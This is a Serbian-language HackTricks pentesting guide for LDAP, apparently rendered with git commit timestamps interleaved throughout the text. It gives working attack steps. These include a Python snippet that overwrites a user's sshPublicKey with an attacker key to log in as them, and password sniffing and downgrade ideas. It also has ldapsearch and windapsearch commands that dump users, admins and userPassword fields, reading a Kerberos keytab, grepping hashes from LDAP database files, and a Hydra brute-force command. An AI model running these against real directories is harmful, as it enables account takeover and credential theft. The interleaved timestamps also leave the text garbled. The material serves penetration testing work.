2022-05-01 13:25:53 +00:00
# 389, 636, 3268, 3269 - Pentesting LDAP
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-03 10:42:55 +00:00
2024-04-07 04:23:52 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU** ](https://github.com/sponsors/carlospolop )!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-04-07 04:23:52 +00:00
* Otkrijte [**Porodicu PEASS** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >
2024-04-07 04:23:52 +00:00
Korišćenje **LDAP** (Lightweight Directory Access Protocol) je uglavnom za lociranje različitih entiteta poput organizacija, pojedinaca i resursa poput fajlova i uređaja unutar mreža, kako javnih tako i privatnih. Nudi pojednostavljen pristup u poređenju sa svojim prethodnikom, DAP-om, imajući manji kodni otisak.
2020-07-15 15:43:14 +00:00
2024-04-07 04:23:52 +00:00
LDAP direktorijumi su strukturirani da omoguće njihovu distribuciju preko nekoliko servera, pri čemu svaki server sadrži **replikovanu** i **sinhronizovanu** verziju direktorijuma, nazvanu Directory System Agent (DSA). Odgovornost za obradu zahteva leži isključivo na LDAP serveru, koji može komunicirati sa drugim DSAs po potrebi kako bi dostavio ujedinjeni odgovor zahtevaocu.
2020-07-15 15:43:14 +00:00
2024-04-07 04:23:52 +00:00
Organizacija LDAP direktorijuma podseća na **hijerarhiju stabla, počevši od korenskog direktorijuma na vrhu** . Ovo se granči ka zemljama, koje se dalje dele na organizacije, a zatim na organizacione jedinice koje predstavljaju različite odeljenja ili departmane, konačno dostižući nivo individualnih entiteta, uključujući i ljude i deljene resurse poput fajlova i štampača.
2020-07-15 15:43:14 +00:00
2024-04-07 04:23:52 +00:00
**Podrazumevani portovi:** 389 i 636 (ldaps). Globalni katalog (LDAP u ActiveDirectory-u) je dostupan podrazumevano na portovima 3268 i 3269 za LDAPS.
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
2024-04-07 04:23:52 +00:00
### LDAP Data Interchange Format
2020-07-15 15:43:14 +00:00
2024-04-07 04:23:52 +00:00
LDIF (LDAP Data Interchange Format) definiše sadržaj direktorijuma kao skup zapisa. Takođe može predstavljati zahteve za ažuriranje (Dodaj, Izmeni, Obriši, Preimenuj).
2021-06-08 20:38:29 +00:00
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
2024-04-07 04:23:52 +00:00
* Linije 1-3 definišu top nivo domena local
* Linije 5-8 definišu prvi nivo domena moneycorp (moneycorp.local)
2024-02-10 13:11:20 +00:00
* Linije 10-16 definišu 2 organizacione jedinice: dev i sales
* Linije 18-26 kreiraju objekat domena i dodeljuju atribute sa vrednostima
2021-06-08 20:38:29 +00:00
2024-04-07 04:23:52 +00:00
## Upis podataka
2020-07-15 15:43:14 +00:00
2024-04-07 04:23:52 +00:00
Imajte na umu da ako možete da menjate vrednosti, možete izvršiti zaista interesantne akcije. Na primer, zamislite da **možete promeniti informacije o "sshPublicKey"** vašeg korisnika ili bilo kog korisnika. Veoma je verovatno da ako ovaj atribut postoji, onda **ssh čita javne ključeve iz LDAP-a** . Ako možete da promenite javni ključ korisnika, **moći ćete da se prijavite kao taj korisnik čak i ako autentikacija lozinkom nije omogućena u ssh-u** .
2020-07-15 15:43:14 +00:00
```bash
2024-02-05 02:29:11 +00:00
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
2020-07-15 15:43:14 +00:00
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
2020-07-15 15:43:14 +00:00
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
2020-07-15 15:43:14 +00:00
```
2024-04-07 04:23:52 +00:00
## Snifovanje jasnih lozinki
2020-07-15 15:43:14 +00:00
2024-04-07 04:23:52 +00:00
Ako se LDAP koristi bez SSL-a, možete **snifovati lozinke u običnom tekstu** u mreži.
2022-10-05 21:51:12 +00:00
2024-04-07 04:23:52 +00:00
Takođe, možete izvesti **MITM** napad u mreži **između LDAP servera i klijenta.** Ovde možete izvesti **Napad na smanjenje nivoa sigurnosti** kako bi klijent koristio **lozinke u običnom tekstu** za prijavljivanje.
2022-10-05 21:51:12 +00:00
2024-04-07 04:23:52 +00:00
**Ako se koristi SSL** možete pokušati izvesti **MITM** kao što je gore navedeno, ali nudeći **lažni sertifikat** , ako ga **korisnik prihvati** , možete smanjiti nivo autentifikacije i ponovo videti lozinke.
2022-10-05 21:51:12 +00:00
2024-04-07 04:23:52 +00:00
## Anoniman pristup
2022-10-05 21:51:12 +00:00
2024-04-07 04:23:52 +00:00
### Zaobilaženje TLS SNI provere
2020-07-15 15:43:14 +00:00
2024-04-07 04:23:52 +00:00
Prema [**ovom opisu** ](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ ) samo pristupanjem LDAP serveru sa proizvoljnim imenom domena (kao što je company.com) mogao je da kontaktira LDAP servis i izvuče informacije kao anonimni korisnik:
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
2020-07-15 15:43:14 +00:00
```
2024-02-10 13:11:20 +00:00
### LDAP anonimne veze
2020-07-15 15:43:14 +00:00
2024-04-07 04:23:52 +00:00
[LDAP anonimne veze ](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled ) omogućavaju **neautentifikovanim napadačima** da dobiju informacije iz domena, kao što su potpuni popis korisnika, grupa, računara, atributa korisničkih naloga i pravila lozinke domena. Ovo je **zastarela konfiguracija** , i od Windows Servera 2003, samo autentifikovanim korisnicima je dozvoljeno da pokrenu LDAP zahteve.\
Međutim, administratori su možda morali **podesiti određenu aplikaciju da dozvoli anonimne veze** i dali više pristupa nego što je bilo planirano, čime su omogućili neautentifikovanim korisnicima pristup svim objektima u AD.
2022-10-05 21:51:12 +00:00
2024-04-07 04:23:52 +00:00
## Validni Kredencijali
2022-10-05 21:51:12 +00:00
2024-04-07 04:23:52 +00:00
Ako imate validne kredencijale za prijavljivanje na LDAP server, možete izlistati sve informacije o Administratoru domena koristeći:
2022-10-05 21:51:12 +00:00
[ldapdomaindump ](https://github.com/dirkjanm/ldapdomaindump )
2022-10-05 00:11:28 +00:00
```bash
2024-02-10 13:11:20 +00:00
pip3 install ldapdomaindump
2022-10-05 21:51:12 +00:00
ldapdomaindump < IP > [-r < IP > ] -u '< domain > \<username>' -p '< password > ' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
2022-10-05 00:11:28 +00:00
```
2022-10-05 21:51:12 +00:00
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
2024-02-10 13:11:20 +00:00
## Enumeracija
2022-10-04 23:49:59 +00:00
2024-02-10 13:11:20 +00:00
### Automatizovano
2022-10-04 23:49:59 +00:00
2024-04-07 04:23:52 +00:00
Korišćenjem ovoga, bićete u mogućnosti da vidite **javne informacije** (kao što je naziv domena)**:**
2022-10-04 23:49:59 +00:00
```bash
nmap -n -sV --script "ldap* and not brute" < IP > #Using anonymous credentials
```
2022-10-05 21:51:12 +00:00
### Python
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
< details >
2024-04-07 04:23:52 +00:00
< summary > Pogledajte enumeraciju LDAP-a pomoću Pythona< / summary >
2022-10-05 21:51:12 +00:00
2024-04-07 04:23:52 +00:00
Možete pokušati **enumerisati LDAP sa ili bez pristupnih podataka koristeći Python** : `pip3 install ldap3`
2022-10-04 23:49:59 +00:00
2024-04-07 04:23:52 +00:00
Prvo pokušajte **povezati se bez** pristupnih podataka:
2022-10-04 23:49:59 +00:00
```bash
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
2022-10-04 23:49:59 +00:00
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> server.info
2022-10-04 23:49:59 +00:00
```
2024-04-07 04:23:52 +00:00
Ako je odgovor `True` kao u prethodnom primeru, možete dobiti neke **interesantne podatke** o LDAP (kao što su **kontekst imenovanja** ili **imenovanje domena** ) servera sa:
2022-10-05 21:51:12 +00:00
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
2024-02-10 13:11:20 +00:00
Naming contexts:
2022-10-05 21:51:12 +00:00
dc=DOMAIN,dc=DOMAIN
```
2024-04-07 04:23:52 +00:00
Kada jednom imate kontekst imenovanja, možete napraviti neke uzbudljivije upite. Ovaj jednostavan upit treba da vam prikaže sve objekte u direktorijumu:
2022-10-05 21:51:12 +00:00
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(& (objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
2024-02-10 13:11:20 +00:00
Ili **izbaci** ceo ldap:
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(& (objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
< / details >
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
### windapsearch
2022-10-04 23:49:59 +00:00
2024-04-07 04:23:52 +00:00
[**Windapsearch** ](https://github.com/ropnop/windapsearch ) je Python skripta korisna za **nabrajanje korisnika, grupa i računara iz Windows** domena korišćenjem LDAP upita.
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
### ldapsearch
2021-01-06 00:08:54 +00:00
2024-04-07 04:23:52 +00:00
Proverite nul kredencijale ili da li su vaše kredencijale validne:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '' -w '' -b "DC=< 1_SUBDOMAIN > ,DC=< TLD > "
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
```bash
2022-05-01 12:49:36 +00:00
# CREDENTIALS NOT VALID RESPONSE
2020-07-15 15:43:14 +00:00
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
2024-02-10 13:11:20 +00:00
tion a successful bind must be completed on the connection., data 0, v3839
2020-07-15 15:43:14 +00:00
```
2024-04-07 04:23:52 +00:00
Ako pronađete nešto što kaže da "_bind mora biti završen_" znači da su pristupni podaci netačni.
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
Možete izvući **sve sa domena** koristeći:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
-x Simple Authentication
2022-07-13 14:08:05 +00:00
-H LDAP Server
2020-07-15 15:43:14 +00:00
-D My User
-w My password
-b Base site, all data from here will be given
```
2024-04-07 04:23:52 +00:00
Izdvajanje **korisnika** :
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
2020-07-15 15:43:14 +00:00
```
2024-04-07 04:23:52 +00:00
Izdvajanje **računara** :
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Computers,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-04-07 04:23:52 +00:00
Izdvajanje **mojih informacija** :
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=< MY NAME > ,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-02-10 13:11:20 +00:00
Izvuci **Domain Admins** :
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Domain Admins,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-02-10 13:11:20 +00:00
Izvuci **Korisnike domena** :
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Domain Users,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-04-07 04:23:52 +00:00
Izdvajanje **Enterprise Admins** :
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Enterprise Admins,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-02-10 13:11:20 +00:00
Izvuci **Administratori** :
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Administrators,CN=Builtin,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-02-10 13:11:20 +00:00
Izvucite **Remote Desktop Group** :
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Remote Desktop Users,CN=Builtin,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-04-07 04:23:52 +00:00
Da biste videli da li imate pristup bilo kojoj lozinci, možete koristiti grep nakon izvršavanja jednog od upita:
2020-07-15 15:43:14 +00:00
```bash
< ldapsearchcmd... > | grep -i -A2 -B2 "userpas"
```
2022-05-01 13:25:53 +00:00
#### pbis
2021-01-06 00:08:54 +00:00
2024-04-07 04:23:52 +00:00
**Pbis** možete preuzeti sa [https://github.com/BeyondTrust/pbis-open/ ](https://github.com/BeyondTrust/pbis-open/ ) i obično se instalira u `/opt/pbis` .\
2024-02-10 13:11:20 +00:00
**Pbis** vam omogućava da lako dobijete osnovne informacije:
2021-01-06 00:08:54 +00:00
```bash
2021-01-19 17:57:39 +00:00
#Read keytab file
./klist -k /etc/krb5.keytab
2021-01-06 00:08:54 +00:00
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user < username >
./lsa list-groups-for-user < username >
2021-01-06 00:15:17 +00:00
#Get groups of each user
2021-01-06 00:08:54 +00:00
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
2021-01-06 00:15:17 +00:00
#Get users of each group
2021-01-06 00:08:54 +00:00
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n < Username > | grep "CN" | while read line; do
2024-02-10 13:11:20 +00:00
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n < username > -a lookup-object --dn="$line" --attr "description";
echo "======================"
2021-01-06 00:08:54 +00:00
done
```
2024-02-10 13:11:20 +00:00
## Grafički interfejs
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Apache Directory
2020-09-13 20:20:14 +00:00
2024-02-10 13:11:20 +00:00
[**Preuzmite Apache Directory odavde** ](https://directory.apache.org/studio/download/download-linux.html ). Možete pronaći [primer kako koristiti ovaj alat ovde ](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s ).
2020-09-13 20:20:14 +00:00
2022-05-01 13:25:53 +00:00
### jxplorer
2020-09-13 20:20:14 +00:00
2024-02-10 13:11:20 +00:00
Možete preuzeti grafički interfejs sa LDAP serverom ovde: [http://www.jxplorer.org/downloads/users.html ](http://www.jxplorer.org/downloads/users.html )
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
Podrazumevano je instaliran u: _/opt/jxplorer_
2020-07-15 15:43:14 +00:00
2024-04-07 04:23:52 +00:00
![](< .. / . gitbook / assets / image ( 479 ) . png > )
2020-07-15 15:43:14 +00:00
2023-12-26 20:51:20 +00:00
### Godap
2024-02-10 13:11:20 +00:00
Možete pristupiti ovde: [https://github.com/Macmod/godap ](https://github.com/Macmod/godap )
2023-12-26 20:51:20 +00:00
2024-04-07 04:23:52 +00:00
## Autentikacija putem kerberosa
2020-07-15 15:43:14 +00:00
2024-04-07 04:23:52 +00:00
Korišćenjem `ldapsearch` možete **autentikovati** putem **kerberosa umesto** putem **NTLM** korišćenjem parametra `-Y GSSAPI`
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
## POST
2020-07-15 15:43:14 +00:00
2024-04-07 04:23:52 +00:00
Ako možete pristupiti fajlovima gde se baze podataka nalaze (može biti u _/var/lib/ldap_ ). Možete izvući heševe korišćenjem:
2020-07-15 15:43:14 +00:00
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
2024-02-10 13:11:20 +00:00
### Konfiguracioni fajlovi
2024-04-07 04:23:52 +00:00
* Opšte
2024-02-10 13:11:20 +00:00
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
2020-07-15 15:43:14 +00:00
* IBM SecureWay V3 server
2024-02-10 13:11:20 +00:00
* V3.sas.oc
2020-07-15 15:43:14 +00:00
* Microsoft Active Directory server
2024-02-10 13:11:20 +00:00
* msadClassesAttrs.ldif
2020-07-15 15:43:14 +00:00
* Netscape Directory Server 4
2024-02-10 13:11:20 +00:00
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
2020-07-15 15:43:14 +00:00
* OpenLDAP directory server
2024-02-10 13:11:20 +00:00
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
2020-07-15 15:43:14 +00:00
* Sun ONE Directory Server 5.1
2024-02-10 13:11:20 +00:00
* 75sas.ldif
2021-10-18 11:21:18 +00:00
```
2021-08-12 13:06:00 +00:00
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
2021-08-15 17:52:05 +00:00
Entry_1:
2024-02-10 13:11:20 +00:00
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
2021-08-15 17:52:05 +00:00
2024-02-10 13:11:20 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-ldap
2021-08-15 17:52:05 +00:00
Entry_2:
2024-02-10 13:11:20 +00:00
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
2021-08-15 17:52:05 +00:00
Entry_3:
2024-02-10 13:11:20 +00:00
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
2021-08-15 17:52:05 +00:00
Entry_4:
2024-02-10 13:11:20 +00:00
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
2021-08-15 17:52:05 +00:00
Entry_5:
2024-02-10 13:11:20 +00:00
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
2021-09-25 16:33:43 +00:00
2021-09-13 15:45:07 +00:00
Entry_6:
2024-02-10 13:11:20 +00:00
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
2021-08-12 13:06:00 +00:00
```
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-04-07 04:23:52 +00:00
Drugi načini da podržite HackTricks:
2024-01-03 10:42:55 +00:00
2024-04-07 04:23:52 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU** ](https://github.com/sponsors/carlospolop )!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-04-07 04:23:52 +00:00
* Otkrijte [**Porodicu PEASS** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >